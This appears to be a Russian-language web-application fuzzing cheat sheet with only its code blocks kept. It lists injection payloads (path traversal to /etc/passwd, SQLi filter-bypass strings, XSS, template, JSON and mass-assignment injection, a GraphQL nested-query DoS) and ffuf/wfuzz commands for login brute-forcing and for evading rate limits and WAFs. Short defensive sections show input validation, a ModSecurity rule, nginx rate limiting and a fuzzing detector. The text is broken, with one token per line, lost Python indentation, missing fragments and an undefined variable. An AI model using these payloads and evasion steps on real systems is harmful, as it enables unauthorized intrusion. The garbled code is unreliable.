# Базовые payloads для обнаружения инъекций
' " ; -- /* */
alert(1)
../../../../../../etc/passwd
${7*7} {{7*7}} 
# Специальные символы и байты
%00 %0d%0a %2522 %27 %3c%3e
[] {} () | & $ @ ! ~ `
# Boolean и числовые аномалии
True False null undefined NaN
-1 0 1 999999999999 0.0001

go
install
github.com/ffuf/ffuf@latest
# или через apt
sudo
apt
install
ffuf

# Фаззинг GET параметров
ffuf -w params.txt -u
"http://target.com/?FUZZ=test"
-fs
1234
# Поиск скрытых директорий с фильтрацией
ffuf -w dirs.txt -u
"http://target.com/FUZZ"
-fc
404,403
# Фаззинг POST данных
ffuf -w sqli.txt -X POST -d
"username=admin&password=FUZZ"
\
-u
"http://target.com/login"
-fr
"Invalid password"
# Многопоточный фаззинг с кастомными headers
ffuf -w payloads.txt -u
"http://target.com/"
\
-H
"X-Custom-Header: FUZZ"
-t
100
-rate
1000

# Установка
pip
install
wfuzz
# Брутфорс subdomains
wfuzz -c -w subdomains.txt -H
"Host: FUZZ.target.com"
\
--hc
404
http://target.com
# Фаззинг с аутентификацией
wfuzz -c -w users.txt -w pass.txt
\
-d
"username=FUZZ&password=FUZ2Z"
\
http://target.com/login

# Запуск с fuzzing templates
nuclei -t fuzzing/ -u http://target.com
# Создание custom fuzzing template
cat
>
sqli-fuzz.yaml

found_files.txt
echo
"test.php"
>>
found_files.txt
echo
"index.php"
>>
found_files.txt
# Ищем backup версии
gobuster
dir
-u http://example.kz
\
-w found_files.txt
\
-x bak,old,zip,gz,tar,rar,7z,backup,orig,copy
\
-t
30

http://example.kz/user/123456789012

http://example.kz/user/987654321098

# Обход фильтров SQLi
/*
!
50000UniOn*/ /*
!
50000SeLeCt*/
%55nion %53elect
UnIoN/**/AlL/**/SeLeCt
# XSS через encoding

# Сбор endpoints
waybackurls target.com
|
grep
"?"
>
params.txt
# Массовый фаззинг
cat
params.txt
|
while
read
url
;
do
ffuf -w payloads.txt -u
"$url"
-mc
200,500
,400
\
-o results/
$(echo $url | base64)
.json
done
# Анализ результатов
grep
-r
"error\|exception\|sql\|mysql"
results/

## Pre-fuzzing разведка
- [ ] Собрать все endpoints через crawler
- [ ] Найти параметры через waybackurls
- [ ] Изучить JS файлы на скрытые API
- [ ] Проверить robots.txt и sitemap.xml
## Fuzzing targets
- [ ] GET/POST параметры
- [ ] HTTP Headers (особенно custom)
- [ ] Cookies и session tokens
- [ ] JSON/XML структуры
- [ ] GraphQL queries
- [ ] File upload (filename, content-type)
- [ ] WebSocket messages
## Payloads priority
- [ ] SQL injection variants
- [ ] XSS polyglots
- [ ] XXE patterns
- [ ] SSRF indicators
- [ ] Command injection
- [ ] Template injection
- [ ] CRLF injection

# Mass assignment
{
"role"
:
"admin"
,
"verified"
:
true
}
# JSON injection
{
"search"
:
"test\",\"isAdmin\":true,\"x\":\""
}
# Method override
X-HTTP-Method-Override: DELETE
X-Method-Override: PUT

# Фаззинг REST endpoints
ffuf -w api-endpoints.txt
\
-u
"http://api.target.com/v1/FUZZ"
\
-H
"Authorization: Bearer token123"
\
-mc
200,201
,204
# Поиск версий API
ffuf -w numbers.txt
\
-u
"http://api.target.com/vFUZZ/users"
\
-fs
0

# Introspection query
{__schema{types{name,fields{name}}}}
# Обход rate limiting
query {
  alias1: user(id: 1) { email }
  alias2: user(id: 2) { email }
  alias3: user(id: 3) { email }
}
# Nested queries DoS
query {
  posts {
    author {
      posts {
        author {
          posts { title }
        }
      }
    }
  }
}

import
websocket
import
json
payloads
=
[
"'"
,
'"'
,
"';--"
,
"admin"
]
ws
=
websocket
.
WebSocket
(
)
ws
.
connect
(
"ws://target.com/socket"
)
for
payload
in
payloads
:
msg
=
json
.
dumps
(
{
"action"
:
"search"
,
"query"
:
payload
}
)
ws
.
send
(
msg
)
result
=
ws
.
recv
(
)
if
"error"
in
result
or
len
(
result
)
!=
baseline
:
print
(
f"Anomaly with payload:{payload}"
)

name: Security Fuzzing
on:
  pull_request:
    branches: [ main ]
jobs:
  fuzz-testing:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v2
    - name: Run ffuf fuzzing
      run: |
        docker run -v $(pwd):/data \
        ghcr.io/ffuf/ffuf:latest \
        -w /data/wordlists/params.txt \
        -u "http://staging.app/test?FUZZ=1" \
        -mc 500,400 -o fuzz_results.json
    - name: Check for vulnerabilities
      run: |
        if grep -q "error\|exception" fuzz_results.json; then
          echo "Potential vulnerabilities found!"
          exit 1
        fi

pipeline {
    agent any
    stages {
        stage('Fuzzing') {
            steps {
                script {
                    sh '''
                        # Run Nuclei fuzzing templates
                        nuclei -t fuzzing/ -u $TARGET_URL \
                               -o nuclei_results.txt
                        # Check results
                        if [ -s nuclei_results.txt ]; then
                            echo "Vulnerabilities found!"
                            exit 1
                        fi
                    '''
                }
            }
        }
    }
    post {
        always {
            archiveArtifacts artifacts: '*_results.txt'
        }
    }
}

version: '3.8'
services:
  ffuf:
    image: ghcr.io/ffuf/ffuf:latest
    volumes:
      - ./wordlists:/wordlists
      - ./results:/results
    command: >
      -w /wordlists/all.txt
      -u http://target:8080/FUZZ
      -o /results/ffuf.json
  zap:
    image: owasp/zap2docker-stable
    command: >
      zap-baseline.py
      -t http://target:8080
      -J zap_report.json
  target:
    image: vulnerable-app:latest
    ports:
      - "8080:8080"

# Python пример с flask
from
flask
import
Flask
,
request
,
abort
import
re
app
=
Flask
(
__name__
)
def
validate_input
(
data
,
pattern
)
:
if
not
re
.
match
(
pattern
,
data
)
:
abort
(
400
,
"Invalid input format"
)
return
data
@app.route
(
'/user'
)
def
get_user
(
)
:
user_id
=
request
.
args
.
get
(
'id'
,
''
)
# Разрешаем только числовые ID
validated_id
=
validate_input
(
user_id
,
r'^\d{1,10}$'
)
# Дальнейшая обработка...

# Nginx конфигурация
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
location /api/ {
    limit_req zone=api burst=20 nodelay;
    limit_req_status 429;
}

# ModSecurity правила
SecRule ARGS "@detectSQLi" \
    "id:1001,\
    phase:2,\
    block,\
    msg:'SQL Injection Attack Detected',\
    logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}'"

X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self'

# Пример логирования подозрительной активности
import
logging
from
datetime
import
datetime
,
timedelta
from
collections
import
defaultdict
class
FuzzingDetector
:
def
__init__
(
self
,
threshold
=
100
,
window
=
60
)
:
self
.
requests
=
defaultdict
(
list
)
self
.
threshold
=
threshold
        self
.
window
=
window
def
check_request
(
self
,
ip
,
endpoint
)
:
now
=
datetime
.
now
(
)
self
.
requests
[
ip
]
.
append
(
now
)
# Очистка старых записей
cutoff
=
now
-
timedelta
(
seconds
=
self
.
window
)
self
.
requests
[
ip
]
=
[
t
for
t
in
self
.
requests
[
ip
]
if
t
>
cutoff
]
# Проверка порога
if
len
(
self
.
requests
[
ip
]
)
>
self
.
threshold
:
logging
.
warning
(
f"Possible fuzzing from{ip}on{endpoint}"
)
return
True
return
False

# 1. Rate limiting обход
ffuf -w payloads.txt -u URL -rate
2
-t
1
# 2. Ротация User-Agent
ffuf -w payloads.txt -u URL
\
-H
"User-Agent: Mozilla/5.0..."
\
-shuffle
# 3. Encoding payloads
# URL encode
%27%20%4F%52%20%31%3D%31%2D%2D
# Unicode
\
u0027
\
u0020
\
u004F
\
u0052
# HTML entities
&
#x27; OR
# 4. Case variations
UnIoN SeLeCt
uNiOn sElEcT
# 5. Comments injection
/*
!
UNION*/ /*
!
SELECT*/
UN/**/ION SE/**/LECT

# 1. Используйте многопоточность
ffuf -w huge_list.txt -u URL -t
200
# 2. Распределенный фаззинг
# Разделите wordlist
split
-n
4
wordlist.txt part_
# Запустите параллельно
parallel -j
4
'ffuf -w part_{} -u URL'
::: aa ab ac ad
# 3. Smart filtering
ffuf -w list.txt -u URL
\
-fc
404,403
\
# Filter status codes
-fs
1234
\
# Filter size
-fr
"Not Found"
# Filter regex
# 4. Используйте быстрые DNS резолверы
echo
"nameserver 1.1.1.1"
>
/etc/resolv.conf